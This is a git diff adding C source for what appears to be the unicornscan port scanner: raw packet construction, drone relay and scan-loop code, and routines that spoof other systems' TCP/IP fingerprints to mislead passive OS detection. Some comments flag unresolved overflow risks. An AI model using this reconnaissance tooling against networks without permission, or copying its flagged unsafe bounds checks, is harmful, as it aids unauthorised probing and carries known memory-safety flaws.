+#include + +#include +#include +#include + +#include +#include + +#include + +/* + * XXX finger prints are moving into the config file too + */ + +static uint16_t mtu=0; + +void get_postoptions(uint32_t refl_ts, uint32_t my_tstamp) { + uint32_t p_tstamp=0, t_tstamp=0; + + p_tstamp=htonl(my_tstamp); + t_tstamp=htonl(refl_ts); + + s->ss->posttcpoptions_len=0; + memset(s->ss->posttcpoptions, 0, sizeof(s->ss->posttcpoptions)); + + switch (s->ss->fingerprint) { + case 0: /* cisco ios */ + case 2: /* windows 3.1 */ + case 3: /* p0f sendsyn */ + break; + + case 6: /* linux */ + case 1: /* OpenBSD */ + case 7: /* no comment */ + case 4: /* FreeBSD 5.1 */ + if (refl_ts != 0 && my_tstamp != 0) { + /* this is impossible to get ;] */ + /* */ + s->ss->posttcpoptions_len=12; + + /* N N ( size 2 ) */ + s->ss->posttcpoptions[0]=0x01; s->ss->posttcpoptions[1]=0x01; + + /* T ( size 10 ) */ + s->ss->posttcpoptions[2]=0x08; s->ss->posttcpoptions[3]=0x0a; + memcpy(s->ss->posttcpoptions + 4, &p_tstamp, sizeof(p_tstamp)); + memcpy(s->ss->posttcpoptions + 8, &t_tstamp, sizeof(t_tstamp)); + break; + } + else { + s->ss->posttcpoptions_len=0; + } + break; + + default: + break; + } + + return; +} + +void init_packet(void) { + uint32_t l_tstamp=0, r_tstamp=0; + + l_tstamp=prng_get32(); + r_tstamp=0; + + switch (s->ss->fingerprint) { + case 0: + /* Cisco IOS 12.1 on a 2600 router type device, from tcpdump */ + if (s->ss->minttl == 0 && s->ss->maxttl == 0) { + scan_setttl("255"); + } + s->ss->ip_off=0; + + if (s->ss->mode == MODE_TCPSCAN) { + s->ss->window_size=4128; + s->ss->tcpoptions_len=4; + s->ss->tcpoptions[0]=0x02; + s->ss->tcpoptions[1]=0x04; + mtu=htons(s->vi[0]->mtu - 40); + memcpy(s->ss->tcpoptions + 2, &mtu, sizeof(mtu)); + } + break; + + case 1: + if (s->ss->minttl == 0 && s->ss->maxttl == 0) { + scan_setttl("64"); + } + if (s->ss->ip_off == 0) { + s->ss->ip_off=IP_DF; + } + + /* + * openbsd 3.0-3.4 from the p0f fp file + */ + if (s->ss->mode == MODE_TCPSCAN) { + s->ss->window_size=16384; + s->ss->tcpoptions_len=24; + /* M* ( size 4 ) */ + s->ss->tcpoptions[0]=0x02; s->ss->tcpoptions[1]=0x04; + mtu=htons(s->vi[0]->mtu - 64); + memcpy(s->ss->tcpoptions + 2, &mtu, sizeof(mtu)); + /* N N ( size 2 ) */ + s->ss->tcpoptions[4]=0x01; s->ss->tcpoptions[5]=0x01; + /* S ( size 2 ) */ + s->ss->tcpoptions[6]=0x04; s->ss->tcpoptions[7]=0x02; + /* N ( size 1 )*/ + s->ss->tcpoptions[8]=0x01; + /* W 0 ( size 3 ) */ + s->ss->tcpoptions[9]=0x03; s->ss->tcpoptions[10]=0x03; s->ss->tcpoptions[11]=0x00; + /* N N ( size 2 ) */ + s->ss->tcpoptions[12]=0x01; s->ss->tcpoptions[13]=0x01; + /* T ( size 10 ) */ + s->ss->tcpoptions[14]=0x08; s->ss->tcpoptions[15]=0x0a; + memcpy(s->ss->tcpoptions + 16, &l_tstamp, sizeof(l_tstamp)); + memcpy(s->ss->tcpoptions + 20, &r_tstamp, sizeof(r_tstamp)); + } + break; + case 2: + if (s->ss->minttl == 0 && s->ss->maxttl == 0) { + scan_setttl("128"); + } + if (s->ss->ip_off == 0) { + s->ss->ip_off=IP_DF; + } + + /* windows xp or something from the p0f fp file */ + if (s->ss->mode == MODE_TCPSCAN) { + mtu=htons(s->vi[0]->mtu - 40); + s->ss->window_size=32767; + s->ss->tcpoptions_len=8; + /* MSS size 4 */ + s->ss->tcpoptions[0]=0x02; s->ss->tcpoptions[1]=0x04; + memcpy(s->ss->tcpoptions + 2, &mtu, sizeof(mtu)); + /* N N size 2 */ + s->ss->tcpoptions[4]=0x01; s->ss->tcpoptions[5]=0x01; + /* S ( size 2 ) */ + s->ss->tcpoptions[6]=0x04; s->ss->tcpoptions[7]=0x02; + } + break; + + case 3: /* p0f sendsyn (aprox) */ + if (s->ss->minttl == 0 && s->ss->maxttl == 0) { + scan_setttl("255"); + } + if (s->ss->ip_off == 0) { + s->ss->ip_off=0; + } + + if (s->ss->mode == MODE_TCPSCAN) { + mtu=htons(s->vi[0]->mtu - 40); + s->ss->window_size=12345; + s->ss->tcpoptions_len=0; + } + break; + case 4: /* freebsd */ + if (s->ss->minttl == 0 && s->ss->maxttl == 0) { + scan_setttl("64"); + } + s->ss->ip_off=IP_DF; +/* +from FreeBSD 5.2.1-RELEASE + NOTE that im using telnet so the tos is 10, lets just pretend everyone who uses freebsd surfs the net with telnet... +IP (tos 0x10, ttl 63, id 10466, offset 0, flags [DF], length: 60) X.X.X.X.49362 > Y.Y.Y.Y.80: S [tcp sum ok] 3005084049:3005084049(0) win 65535 + +minutes later: +IP (tos 0x10, ttl 64, id 51550, offset 0, flags [DF], length: 60) Y.Y.Y.Y.6175 > X.X.X.X.80: S [tcp sum ok] 2333165575:2333165575(0) win 65535 +p0f says: +Y.Y.Y.Y:6175 - FreeBSD 4.7-5.1 (or MacOS X 10.2-10.3) (2) [high throughput] (up: 1946 hrs) + -> X.X.X.X:80 (distance 0, link: ethernet/modem) +*/ + + if (s->ss->mode == MODE_TCPSCAN) { + if (s->ss->tos == 0) { + s->ss->tos=0x10; /* its telnet! */ + } + s->ss->window_size=65535; + s->ss->tcpoptions_len=20; + /* M* ( size 4 ) */ + s->ss->tcpoptions[0]=0x02; s->ss->tcpoptions[1]=0x04; + mtu=htons(s->vi[0]->mtu - 40); + memcpy(s->ss->tcpoptions + 2, &mtu, sizeof(mtu)); + /* N ( size 1 ) */ + s->ss->tcpoptions[4]=0x01; + /* W 1 ( size 3 ) */ + s->ss->tcpoptions[5]=0x03; s->ss->tcpoptions[6]=0x03; s->ss->tcpoptions[7]=0x01; + /* N N ( size 2 ) */ + s->ss->tcpoptions[8]=0x01; s->ss->tcpoptions[9]=0x01; + /* T ( size 10 ) */ + s->ss->tcpoptions[10]=0x08; s->ss->tcpoptions[11]=0x0a; + memcpy(s->ss->tcpoptions + 12, &l_tstamp, sizeof(l_tstamp)); + memcpy(s->ss->tcpoptions + 16, &r_tstamp, sizeof(r_tstamp)); + } + break; + case 5: +/* +nmap (doing some OS detection type stuff) +p0f says: +3072:64:0:60:W10,N,M265,T,E:PF:-*NMAP:OS detection probe w/flags (4) +tcpdump says: +IP (tos 0x0, ttl 41, id 19158, offset 0, flags [none], length: 60) X.X.X.X.62266 > Y.Y.Y.Y.5555: S [tcp sum ok] 2696440034:2696440034(0) win 3072 + +minutes later: +IP (tos 0x0, ttl 60, id 55261, offset 0, flags [none], length: 60) Y.Y.Y.Y.63138 > X.X.X.X.7777: S [tcp sum ok] 1436422910:1436422910(0) win 3072 + +and p0f says: +Y.Y.Y.Y:15303 - NMAP OS detection probe (3) * +*/ + if (s->ss->minttl == 0 && s->ss->maxttl == 0) { + scan_setttl("61"); + } + if (s->ss->ip_off == 0) { + s->ss->ip_off=0; + } + + if (s->ss->mode == MODE_TCPSCAN) { + s->ss->window_size=3072; + s->ss->tcpoptions_len=20; + /* W 10 ( size 3 ) */ + s->ss->tcpoptions[0]=0x03; s->ss->tcpoptions[1]=0x03; s->ss->tcpoptions[2]=0x0a; + /* N size 1 */ + s->ss->tcpoptions[3]=0x01; + /* MSS size 4 */ + mtu=htons(265); + s->ss->tcpoptions[4]=0x02; s->ss->tcpoptions[5]=0x04; + memcpy(s->ss->tcpoptions + 6, &mtu, sizeof(mtu)); + /* T ( size 10 ) */ + s->ss->tcpoptions[8]=0x08; s->ss->tcpoptions[9]=0x0a; + memcpy(s->ss->tcpoptions + 10, &l_tstamp, sizeof(l_tstamp)); + memcpy(s->ss->tcpoptions + 14, &r_tstamp, sizeof(r_tstamp)); + /* EOL size 1 */ + s->ss->tcpoptions[18]=0x00; + s->ss->tcpoptions[19]=0x00; + } + break; + case 6: +/* +just cause you would expect this to be here: +IP (tos 0x0, ttl 63, id 12954, offset 0, flags [DF], length: 60) Y.Y.Y.Y.32917 > X.X.X.X.7777: S [tcp sum ok] 2611271644:2611271644(0) win 5744 + +minutes later: +IP (tos 0x0, ttl 63, id 34165, offset 0, flags [DF], length: 60) Y.Y.Y.Y.50194 > X.X.X.X.7777: S [tcp sum ok] 1386490716:1386490716(0) win 5744 +and +Y.Y.Y.Y:50194 - Linux 2.4/2.6 (up: 7524 hrs) + -> X.X.X.X:7777 (distance 1, link: IPSec/GRE) +*/ + if (s->ss->minttl == 0 && s->ss->maxttl == 0) { + scan_setttl("64"); + } + if (s->ss->ip_off == 0) { + s->ss->ip_off=IP_DF; + } + + if (s->ss->mode == MODE_TCPSCAN) { + s->ss->tcpoptions_len=20; + mtu=htons(s->vi[0]->mtu - 64); + s->ss->window_size=(s->vi[0]->mtu - 64) * 4; + /* MSS size 4 */ + s->ss->tcpoptions[0]=0x02; s->ss->tcpoptions[1]=0x04; + memcpy(s->ss->tcpoptions + 2, &mtu, sizeof(mtu)); + /* S ( size 2 ) */ + s->ss->tcpoptions[4]=0x04; s->ss->tcpoptions[5]=0x02; + /* T ( size 10 ) */ + s->ss->tcpoptions[6]=0x08; s->ss->tcpoptions[7]=0x0a; + /* random uptime per session */ + memcpy(s->ss->tcpoptions + 8, &l_tstamp, sizeof(l_tstamp)); + memcpy(s->ss->tcpoptions + 12, &r_tstamp, sizeof(r_tstamp)); + /* N size 1 */ + s->ss->tcpoptions[16]=0x01; + /* W 0 ( size 3 ) */ + s->ss->tcpoptions[17]=0x03; s->ss->tcpoptions[18]=0x03; s->ss->tcpoptions[19]=0x00; + } + break; + case 7: /* some crazy stuff i just made up */ + /* XXX ADD rand ttl option to ttl parser */ + if (s->ss->minttl == 0 && s->ss->maxttl == 0) { + uint8_t rttl=0; + + rttl=((prng_get32() & 0xFF) | 0x80); + s->ss->minttl=rttl; + s->ss->maxttl=rttl; + } + if (s->ss->ip_off == 0) { + s->ss->ip_off=IP_DF; + } + + if (s->ss->mode == MODE_TCPSCAN) { + uint32_t hash_w=0; + + s->ss->window_size=(s->vi[0]->mtu - 32) * 8; + s->ss->tcpoptions_len=24; /* i cant make this as big as i want, not sure where this is breaking */ + + /* mss 4 */ + mtu=htons(1024); + s->ss->tcpoptions[0]=0x02; s->ss->tcpoptions[1]=0x04; + memcpy(s->ss->tcpoptions + 2, &mtu, sizeof(mtu)); + + /* S ( size 2 ) */ + s->ss->tcpoptions[4]=0x04; s->ss->tcpoptions[5]=0x02; + + /* md5 signature length 18 */ + s->ss->tcpoptions[6]=0x13; s->ss->tcpoptions[7]=0x12; + + hash_w=prng_get32(); + memcpy(s->ss->tcpoptions + 8, &hash_w, sizeof(hash_w)); + hash_w=prng_get32(); + memcpy(s->ss->tcpoptions + 12, &hash_w, sizeof(hash_w)); + hash_w=prng_get32(); + memcpy(s->ss->tcpoptions + 16, &hash_w, sizeof(hash_w)); + hash_w=prng_get32(); + memcpy(s->ss->tcpoptions + 20, &hash_w, sizeof(hash_w)); + + s->ss->tcpoptions[24]=0x08; s->ss->tcpoptions[25]=0x0a; + memcpy(s->ss->tcpoptions + 26, &l_tstamp, sizeof(l_tstamp)); + memcpy(s->ss->tcpoptions + 30, &r_tstamp, sizeof(r_tstamp)); + s->ss->tcpoptions[34]=0x01; s->ss->tcpoptions[35]=0x01; + s->ss->tcpoptions[35]=0x01; s->ss->tcpoptions[36]=0x01; + } + break; + + case 8: /* random tcp options */ + default: + ERR("unknown fingerprint `%d', defaulting to 0", s->ss->fingerprint); + s->ss->fingerprint=0; + init_packet(); + break; + } + + return; +} diff --git a/src/scan_progs/init_packet.h b/src/scan_progs/init_packet.h new file mode 100644 index 0000000..87f5bd2 --- /dev/null +++ b/src/scan_progs/init_packet.h @@ -0,0 +1,25 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _INIT_PACKET_H +# define _INIT_PACKET_H + +void init_packet(void); +void get_postoptions(uint32_t /* their tstamp */, uint32_t /* our tstamp */); /* this should be moved */ + +#endif diff --git a/src/scan_progs/makepkt.c b/src/scan_progs/makepkt.c new file mode 100644 index 0000000..965fbdb --- /dev/null +++ b/src/scan_progs/makepkt.c @@ -0,0 +1,270 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#define PKBUF_SIZE 0xffff +static uint8_t pkt_buf[PKBUF_SIZE]; +static size_t pkt_len=0; +static int do_ipchk=0; +static struct myiphdr *_ih; + +static ip_pseudo_t ipph; + +void makepkt_clear(void) { + + _ih=NULL; + + memset(&ipph, 0x42, sizeof(ipph)); + memset(pkt_buf, 0x41, sizeof(pkt_buf)); + pkt_len=0; do_ipchk=0; + + return; +} + +int makepkt_getbuf(size_t *len, const uint8_t **buf) { + + if (len == NULL) { + PANIC("null size pointer in makepkt_get"); + } + if (buf == NULL) { + PANIC("buffer pointer null"); + } + + if (_ih != NULL) { + _ih->tot_len=htons(pkt_len); + } + + if (do_ipchk) { + ip_checksum(pkt_buf, pkt_len); + } + + *len=pkt_len; + *buf=pkt_buf; + + return 1; +} + +int makepkt_build_udp(uint16_t lport, uint16_t rport, uint16_t chksum, const uint8_t *pl, size_t pl_s) { + struct myudphdr uh; + + /* this still can overflow */ + if (pl_s > (PKBUF_SIZE - sizeof(uh))) { + return -1; + } + + if ((pl_s + sizeof(uh)) > (PKBUF_SIZE - (pl_s + sizeof(uh)))) { + return -1; + } + + uh.source=htons(lport); + uh.dest=htons(rport); + uh.len=ntohs((uint16_t)(pl_s + sizeof(uh))); + uh.check=chksum; + + if ((pkt_len + (uint16_t)(pl_s + sizeof(uh))) > sizeof(pkt_buf)) { + return -1; + } + + memcpy(&pkt_buf[pkt_len], &uh, sizeof(uh)); + pkt_len += sizeof(uh); + + if (pl_s) { + if (pl == NULL) PANIC("payload buffer is NULL with non-zero length"); + memcpy(&pkt_buf[pkt_len], pl, pl_s); + pkt_len += (uint16_t)pl_s; + } + + return 1; +} + +int makepkt_build_tcp(uint16_t lport, uint16_t rport, uint16_t chksum, uint32_t seq, uint32_t ackseq, uint16_t tflgs, + uint16_t window_size, uint16_t urgp, const uint8_t *tcpopts, size_t tcpopts_s, const uint8_t *pl, size_t pl_s) { + struct mytcphdr th; + size_t save_len=0; + + /* XXX overflows */ + + if (tcpopts_s % 4) { + PANIC("bad tcp option"); + } + if (tcpopts_s > 60) { + PANIC("bad tcp optlen"); + } + + if (pl_s > (PKBUF_SIZE - sizeof(th) - tcpopts_s)) { + return -1; + } + if ((pl_s + sizeof(th) + tcpopts_s) > (PKBUF_SIZE - (pl_s + sizeof(th) + tcpopts_s))) { + return -1; + } + + save_len=pkt_len; + + th.source=htons(lport); + th.dest=htons(rport); + th.seq=ntohl(seq); + th.ack_seq=ntohl(ackseq); + + th.res1=0; + th.doff=(sizeof(th) + tcpopts_s) / 4; + th.fin=th.syn=th.rst=th.psh=th.ack=th.urg=th.ece=th.cwr=0; + if (tflgs & TH_FIN) th.fin=1; + if (tflgs & TH_SYN) th.syn=1; + if (tflgs & TH_RST) th.rst=1; + if (tflgs & TH_PSH) th.psh=1; + if (tflgs & TH_ACK) th.ack=1; + if (tflgs & TH_URG) th.urg=1; + if (tflgs & TH_ECE) th.ece=1; + if (tflgs & TH_CWR) th.cwr=1; + + th.window=htons(window_size); + th.urg_ptr=htons(urgp); + th.check=0; + + memcpy(&pkt_buf[pkt_len], &th, sizeof(th)); + + assert((pkt_len + sizeof(th)) > pkt_len); + pkt_len += sizeof(th); + + if (tcpopts_s) { + if (tcpopts == NULL) PANIC("tcpoption buffer is NULL with non-zero length"); + memcpy(&pkt_buf[pkt_len], tcpopts, tcpopts_s); + pkt_len += (uint16_t)tcpopts_s; + } + + if (pl_s) { + if (pl == NULL) PANIC("payload buffer is NULL with non-zero length"); + memcpy(&pkt_buf[pkt_len], pl, pl_s); + pkt_len += (uint16_t)pl_s; + } + + return 1; +} + +int makepkt_build_ipv4(uint8_t tos, uint16_t ipid, uint16_t frag, uint8_t ttl, uint8_t proto, uint16_t chksum, uint32_t src, + uint32_t dst, const uint8_t *ipopts, size_t ipopt_size, const uint8_t *pl, size_t pl_s) { + struct myiphdr ih; + + if (sizeof(ih) > (PKBUF_SIZE - pkt_len)) { + PANIC("too much data"); + } + + ih.ihl=5; + ih.version=4; + + do_ipchk=1; + ih.tos=tos; + ih.tot_len=htons(pkt_len + sizeof(ih)); + ih.id=ipid; + ih.frag_off=htons(frag); + ih.ttl=ttl; + ih.protocol=proto; + ih.check=0; + + ih.saddr=src; + ih.daddr=dst; + + if (ipopts != NULL || ipopt_size != 0) { + PANIC("Not implemented"); + } + if (pl != NULL || pl_s != 0) { + PANIC("Not Implemented"); + } + + if (_ih == NULL) { + _ih=(struct myiphdr *)&pkt_buf[pkt_len]; + } + + memcpy(&pkt_buf[pkt_len], &ih, sizeof(ih)); + pkt_len += sizeof(ih); + + ipph.saddr=src; + ipph.daddr=dst; + ipph.zero=0; + ipph.proto=proto; + ipph.len=ih.tot_len; + + return 1; +} + +int makepkt_build_arp(uint16_t hwfmt, uint16_t protfmt, uint8_t hwlen, uint8_t protlen, uint16_t opcode, const uint8_t *s_hwaddr, const uint8_t *s_protoaddr, const uint8_t *t_hwaddr, const uint8_t *t_protoaddr) { + struct myarphdr ma; + + if (s_hwaddr == NULL) PANIC("s_hwaddr null"); + if (s_protoaddr == NULL) PANIC("s_protoaddr null"); + if (t_hwaddr == NULL) PANIC("t_hwaddr null"); + if (t_protoaddr == NULL) PANIC("t_protoaddr null"); + + if (hwlen > 16 || protlen > 16) PANIC("ARE YOU SURE YOU REALLY MEAN THIS? "); + + if ((sizeof(ma) + (hwlen * 2) + (protlen * 2)) > (PKBUF_SIZE - pkt_len)) { + PANIC("stfu"); + } + + ma.hw_type=htons(hwfmt); + ma.protocol=htons(protfmt); + ma.hwsize=hwlen; + ma.protosize=protlen; + ma.opcode=htons(opcode); + + memcpy(&pkt_buf[pkt_len], &ma, sizeof(ma)); + pkt_len += sizeof(ma); + memcpy(&pkt_buf[pkt_len], s_hwaddr, hwlen); pkt_len += hwlen; + memcpy(&pkt_buf[pkt_len], s_protoaddr, protlen); pkt_len += protlen; + memcpy(&pkt_buf[pkt_len], t_hwaddr, hwlen); pkt_len += hwlen; + memcpy(&pkt_buf[pkt_len], t_protoaddr, protlen); pkt_len += protlen; + + return 1; +} + +int makepkt_build_ethernet(uint8_t addrlen, const uint8_t *dest, const uint8_t *src, uint16_t type) { + union { + uint8_t *ptr; + uint16_t *hw; + } b_u; + + if (dest == NULL || src == NULL) { + PANIC("loser"); + } + do_ipchk=0; + + if (addrlen > 16) PANIC("ARE YOU SURE YOU REALLY MEAN THIS? "); + + if ((sizeof(uint16_t) + (addrlen * 2)) > (PKBUF_SIZE - pkt_len)) { + PANIC("stfu"); + } + + memcpy(&pkt_buf[pkt_len], dest, addrlen); pkt_len += addrlen; + memcpy(&pkt_buf[pkt_len], src, addrlen); pkt_len += addrlen; + b_u.ptr=&pkt_buf[pkt_len]; + *b_u.hw=htons(type); pkt_len += sizeof(uint16_t); + + return 1; +} diff --git a/src/scan_progs/makepkt.h b/src/scan_progs/makepkt.h new file mode 100644 index 0000000..8e825d3 --- /dev/null +++ b/src/scan_progs/makepkt.h @@ -0,0 +1,72 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _MAKEPKT_H +# define _MAKEPKT_H + +void makepkt_clear(void); +int makepkt_getbuf(size_t *, const uint8_t **); + +int makepkt_build_udp( uint16_t /* local port */, + uint16_t /* remote port */, + uint16_t /* chksum */, + const uint8_t * /* payload */, + size_t /* payload size */); + +int makepkt_build_tcp( uint16_t /* local_port */, + uint16_t /* remote port */, + uint16_t /* chksum */, + uint32_t /* seq */, + uint32_t /* ack seq */, + uint16_t /* tcphdr flags */, + uint16_t /* window_size */, + uint16_t /* urgent pointer */, + const uint8_t * /* tcpoptions */, + size_t /* tcpoptions size */, + const uint8_t * /* payload */, + size_t /* payload size */); + +int makepkt_build_ipv4( uint8_t /* TOS */, + uint16_t /* IPID */, + uint16_t /* frag */, + uint8_t /* TTL */, + uint8_t /* proto */, + uint16_t /* chksum */, + uint32_t /* source */, + uint32_t /* dest */, + const uint8_t * /* ip options */, + size_t /* ip opt size */, + const uint8_t * /* payload */, + size_t /* payload size */); + +int makepkt_build_arp( uint16_t /* hw format */, + uint16_t /* proto format */, + uint8_t /* hw addr len */, + uint8_t /* proto len */, + uint16_t /* opcode */, + const uint8_t * /* senders hw addr */, + const uint8_t * /* senders proto addr */, + const uint8_t * /* targets hw addr */, + const uint8_t * /* targets proto addr */); + +int makepkt_build_ethernet(uint8_t addrlen, + const uint8_t * /* dest hwaddr */, + const uint8_t * /* src hwaddr */, + uint16_t type); + +#endif diff --git a/src/scan_progs/master.c b/src/scan_progs/master.c new file mode 100644 index 0000000..6ef52a7 --- /dev/null +++ b/src/scan_progs/master.c @@ -0,0 +1,714 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MASTER_START 0 +#define MASTER_SENT_LISTEN_WORKUNITS 1 +#define MASTER_SENT_SENDER_WORKUNITS 2 +#define MASTER_WAIT_SENDER 3 +#define MASTER_IN_TIMEOUT 4 +#define MASTER_DONE 5 +static int master_state=0; + +static unsigned int send_workunits_complete=0, listen_workunits_complete=0; +static int listener_stats=0; + +static void master_read_drones(void); +static void master_updatestate(int ); +static int dispatch_work_units(void); +static int senders_done(void); +static void terminate_listeners(void); + +static void master_updatestate(int state) { + + DBG(M_MST, "switching from state %d to %d", master_state, state); + + if (master_state != MASTER_DONE && (state - master_state) != 1) { + PANIC("invalid state transition"); + } + + master_state=state; + return; +} + +void run_drone(void) { + int lsock=-1, csock=-1; + uint8_t msg_type=0, *tmpptr=NULL, status=0; + size_t msg_len=0; + union { + drone_version_t *v; + uint8_t *ptr; + } d_u; + union { + listener_info_t *l; + uint8_t *ptr; + } l_u; + drone_version_t dv; + xpoll_t spdf[2]; + + d_u.v=&dv; + dv.maj=DRONE_MAJ; + dv.min=DRONE_MIN; + dv.magic=DRONE_MAGIC; + + if (GET_SENDDRONE()) { + if (s->senders == 0) { + ERR("im not going to make a good send drone relay without any senders, back to the drawing board"); + return; + } + if (s->senders != 1 && s->listeners != 0) { + ERR("send drone unsupported configuration"); + return; + } + } + else if (GET_LISTENDRONE()) { + if (s->listeners == 0 && GET_LISTENDRONE()) { + ERR("im not going to make a good listen drone relay without any listeners, back to the drawing board"); + return; + } + if (s->listeners != 1 && s->senders != 0) { + ERR("listen drone unsupported configuration"); + return; + } + } + else { + ERR("not send nor listen drone?"); + return; + } + + lsock=socktrans_bind(s->listen_addr); + if (lsock < 0) { + ERR("cant bind"); + return; + } + + csock=socktrans_accept(lsock, 0); + if (csock < 0) { + ERR("cant accept"); + return; + } + + DBG(M_MST, "got connection"); + + if (get_singlemessage(csock, &msg_type, &status, &tmpptr, &msg_len) != 1) { + ERR("unexpected message sequence from parent while looking for ident request, exiting"); + return; + } + + if (msg_type != MSG_IDENT || status != MSG_STATUS_OK) { + ERR("bad message from parent, wrong type `%s' or bad status %d, exiting", strmsgtype(msg_type), status); + return; + } + + if (send_message(csock, (GET_SENDDRONE() ? MSG_IDENTSENDER : MSG_IDENTLISTENER), + MSG_STATUS_OK, d_u.ptr, sizeof(drone_version_t)) < 0) { + ERR("cant send back msgident to parent"); + return; + } + + if (get_singlemessage(csock, &msg_type, &status, &tmpptr, &msg_len) != 1) { + ERR("unexpected message sequence from parent while looking for ident request, exiting"); + return; + } + + if (msg_type != MSG_ACK || status != MSG_STATUS_OK) { + ERR("bad message from parent, wrong type `%s' or bad status %d, exiting", strmsgtype(msg_type), status); + return; + } + + if (GET_SENDDRONE()) { + if (send_message(csock, MSG_READY, MSG_STATUS_OK, NULL, 0) < 0) { + ERR("cant send ready message to master"); + return; + } + } + else { + l_u.l=(listener_info_t *)xmalloc(sizeof(listener_info_t)); + memcpy(&l_u.l->myaddr, &s->vi[0]->myaddr, sizeof(struct sockaddr_storage)); + memcpy(&l_u.l->mymask, &s->vi[0]->mymask, sizeof(struct sockaddr_storage)); + memcpy(l_u.l->hwaddr, s->vi[0]->hwaddr, THE_ONLY_SUPPORTED_HWADDR_LEN); + l_u.l->mtu=s->vi[0]->mtu; + + if (send_message(csock, MSG_READY, MSG_STATUS_OK, l_u.ptr, sizeof(listener_info_t)) < 0) { + ERR("cant send ready message to master"); + return; + } + } + + while (1) { + drone_t *d=NULL; + int j=0, getret=0; + + spdf[1].fd=csock; + spdf[0].fd=-1; + for (d=s->dlh->head; d != NULL; d=d->next) { + if ((d->type == DRONE_TYPE_SENDER && GET_SENDDRONE()) || + (d->type == DRONE_TYPE_LISTENER && GET_LISTENDRONE())) { + spdf[0].fd=d->s; break; + } + } + + assert(spdf[0].fd != -1 && spdf[1].fd != -1); + + if (xpoll(&spdf[0], 2, -1) < 0) { + ERR("xpoll fails: %s", strerror(errno)); + continue; + } + + for (j=0; j < 2; j++) { + if (spdf[j].rw & XPOLL_DEAD) { + ERR("socket %d is dead?: %s", spdf[j].rw, strerror(errno)); + return; + } + if (spdf[j].rw & XPOLL_READABLE) { + if (recv_messages(spdf[j].fd) < 0) { + ERR("cant recieve messages!"); + return; + } + while (1) { + getret=get_message(spdf[j].fd, &msg_type, &status, &tmpptr, &msg_len); + if (getret < 1) break; + if (send_message(spdf[(j == 0 ? 1 : 0)].fd, msg_type, status, tmpptr, msg_len) < 0) { + ERR("cant relay message"); + return; + } + } + } + } + } + + return; +} + +void run_scan(void) { + int readable=0; + time_t wait_stime=0; + + s->pri_work=fifo_init(); + + assert(s->dlh->size <= MAX_CONNS); + + if (s->dlh->size < 1) { + ERR("no drones to do work, exiting"); + return; + } + + if (ISDBG(M_WRK)) { + workunit_dump(); + } + + DBG(M_MST, "scan iteration %u of %u with %d senders and %d listeners", s->cur_iter, s->scan_iter, s->senders, s->listeners); + + for (master_state=MASTER_START; (s->senders + s->listeners) > 0 ;) { + + /* if we are not waiting for the senders to finish, we can dispatch work */ + if (master_state == MASTER_SENT_LISTEN_WORKUNITS || master_state == MASTER_START) { + int w_sent=0; + + w_sent=dispatch_work_units(); + + if (w_sent > 0 ) { + DBG(M_WRK, "sent %d workunits", w_sent); + } + + if (w_sent == 0 && master_state == MASTER_SENT_SENDER_WORKUNITS) { + master_updatestate(MASTER_WAIT_SENDER); + } + } + + /* fill in the drone list with socket readable information */ + readable=drone_poll(s->master_tickrate); + if (readable) { + master_read_drones(); + } + + if (master_state == MASTER_WAIT_SENDER && senders_done()) { + time(&wait_stime); + master_updatestate(MASTER_IN_TIMEOUT); + } + + if (master_state == MASTER_IN_TIMEOUT) { + time_t tnow; + + time(&tnow); + if ((tnow - wait_stime) > s->ss->recv_timeout) { + if (GET_DOCONNECT()) { + /* cant wait if we are connecting, in case a connection hasnt started yet */ + connect_closeopen(s->pri_work); + } + + do { + DBG(M_MST, "clearing pri work"); + } while (dispatch_pri_work()); + + DBG(M_MST, "done, updatestate"); + + master_updatestate(MASTER_DONE); + break; + } + } + + /* pri work is created by reading so we do it here */ + if (s->senders > 0 && master_state > MASTER_SENT_SENDER_WORKUNITS) { + dispatch_pri_work(); + } + + } /* walk from state START to SCAN DONE */ + + 